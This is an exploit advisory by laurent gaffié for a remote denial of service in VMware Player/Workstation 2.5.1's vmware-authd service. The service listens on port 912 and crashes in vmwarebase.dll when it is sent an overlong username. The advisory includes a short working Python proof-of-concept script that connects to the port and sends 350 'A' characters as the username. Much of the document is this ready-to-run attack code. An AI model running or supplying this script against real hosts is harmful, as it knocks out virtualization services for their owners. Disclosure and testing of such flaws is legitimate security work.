VMware 2.5.1 - 'VMware-authd' Remote Denial of Service








Vmware <= 2.5.1 build-126130 Remote Denial of Service

Application: Vmware

Web Site: http://www.vmware.com/

Platform: Windows *

Bug: Remote Denial of Service

Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched


1) Introduction

2) Bug

3) Proof of concept

4) Credits


1) Introduction


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2) Bug

Vmware-authd listen on port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.

3)Proof of concept

Auth-dos.py :

import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = ''
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
print " [+] done! "




laurent gaffié


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